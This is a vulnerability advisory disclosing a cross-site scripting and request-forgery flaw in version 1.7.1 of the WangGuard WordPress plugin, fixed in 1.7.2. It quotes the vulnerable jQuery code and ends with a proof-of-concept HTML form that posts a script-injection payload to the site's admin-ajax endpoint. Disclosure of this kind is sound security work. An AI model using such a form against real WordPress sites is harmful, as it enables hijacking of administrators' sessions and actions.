Abstract
A Cross-Site Scripting vulnerability was found in the WangGuard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160724-0030
Tested versions
This issue was successfully tested on WangGuard WordPress Plugin version 1.7.1.
Fix
This issue is resolved in WangGuard version 1.7.2.
Introduction
The WangGuard WordPress Plugin protects against sploggers and spam users registration. A Cross-Site Scripting vulnerability was found in the WangGuard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Details
The issue exists in the file wangguard-admin.php and is caused by the lack of output encoding on the security questions & answers. It should be noted that this functionality is also vulnerable to Cross-Site Request Forgery.
jQuery("#wangguardnewquestionbutton").click(function() {
jQuery("#wangguardnewquestionerror").hide();
var wgq = jQuery("#wangguardnewquestion").val();
var wga = jQuery("#wangguardnewquestionanswer").val();
if ((wgq=='') || (wga=='')) {
jQuery("#wangguardnewquestionerror").slideDown();
return;
}
data = {
action : 'wangguard_ajax_questionadd',
q : wgq,
a : wga
};
jQuery.post(ajaxurl, data, function(response) {
if (response!='0') {
jQuery("#wangguard-question-noquestion").remove();
var newquest = '<div class="wangguard-question" id="wangguard-question-'+response+'">';
newquest += '<?php echo addslashes(__("Question", 'wangguard')) ?>: <strong>'+**wgq**+'</strong><br/>';
newquest += '<?php echo addslashes(__("Answer", 'wangguard')) ?>: <strong>'+**wga**+'</strong><br/>';
newquest += '<a href="javascript:void(0)" rel="'+response+'" class="wangguard-delete-question"><?php echo addslashes(__('delete question', 'wangguard')) ?></a></div>';
jQuery("#wangguard-new-question-container").append(newquest);
jQuery("#wangguardnewquestion").val("");
jQuery("#wangguardnewquestionanswer").val("");
}
else if (response=='0') {
jQuery("#wangguardnewquestionerror").slideDown();
}
});
});
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wangguard_ajax_questionadd" />
<input type="hidden" name="q" value="xss?" />
<input type="hidden" name="a" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>